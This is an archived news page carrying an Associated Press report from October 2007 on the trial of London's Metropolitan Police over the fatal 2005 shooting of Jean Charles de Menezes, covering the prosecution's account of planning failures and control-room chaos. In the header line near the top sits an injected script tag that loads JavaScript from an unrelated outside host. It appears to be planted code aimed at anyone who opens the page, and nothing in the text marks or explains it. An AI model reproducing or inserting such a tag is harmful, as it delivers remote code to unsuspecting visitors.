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NEWS > 01 October 2007

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Metropolitan Police, UK<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
The Associated Press - USA
01 October 2007
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Metropolitan Police, UK

London Police Go on Trial Over

London police mistakenly shot dead a Brazilian man and put the lives of others at risk during an anti-terrorism operation in July 2005 because of flawed planning and chaos at headquarters, a prosecutor argued Monday as the force was put on trial.

The department is accused of serious breaches of health and safety laws that prosecutors say led to the death of 27-year-old Jean Charles de Menezes on a subway. The force admits the slaying was an error but denies misconduct, which can draw an unlimited fine for conviction.

"We say police planned and carried out an operation so badly that the public were needlessly put at risk and Jean Charles was killed as a result," prosecutor Clare Montgomery said in opening remarks to the jury of six men and six women at London's Central Criminal Court.

De Menezes was slain July 22, 2005, as police pursued Britain's largest manhunt for a group of would-be suicide bombers after a botched attack on London's transit system a day earlier. Two weeks earlier, suicide bombers killed 52 people and wounded hundreds in London.

Montgomery detailed a series of errors that led to armed police storming a subway car and firing seven shots at close range into de Menezes' head.

"The disaster was not the result of a fast-moving operation going suddenly awry. It was the fundamental failure to carry out a planned operation in a safe and reasonable way," the prosecutor said.

After two of the suspects in the failed bombing were identified as living in the same south London apartment building as de Menezes, a police plan was put in place to watch the building and stop anyone who came out for questioning.

Surveillance officers were in place by 6 a.m., an hour after the plan was drawn up. But it was not until more than four hours later that the specialist firearms officers needed to carry out the stops arrived. By then, de Menezes had already left for work.

"If he had been a suicide bomber emerging with a backpack and a murderous intent, no one had any established plan that could have dealt with him because the firearms officers had not arrived," Montgomery said.

Meanwhile, the control room at Scotland Yard was a scene of "noise and chaos," Montgomery said. An officer responsible for listening to messages could not hear what was being said because colleagues not involved in the case crammed into the room to listen to events unfold.

Surveillance officers never positively identified de Menezes as a suspect or completely ruled him out, prosecutors said.

If de Menezes had been a real suicide bomber, he would in all likelihood have detonated his explosives as firearms officers came hurtling through the Stockwell station wearing caps that said "police" and with their guns visible, Montgomery said.

As the armed officers entered the train, a surveillance officer code-named "Ivor" stood up and shouted "he's here" and pointed at de Menezes, who got to his feet before Ivor pinned him down and two firearms officers placed their Glock 9 mm pistols against his head and fired.

The jury and relatives of de Menezes in the public gallery watched closed circuit television footage of parts of the surveillance operation and saw the aftermath of the shooting: a man wearing a denim jacket, black T-shirt and jeans lying face down, arms twisted over his torso and legs spread.

The police force accepted responsibility for de Menezes' death, but the Independent Police Complaints Commission ruled out disciplinary action against the surveillance or firearms officers involved. A decision on whether four senior officers should be disciplined was deferred until after this trial.
 

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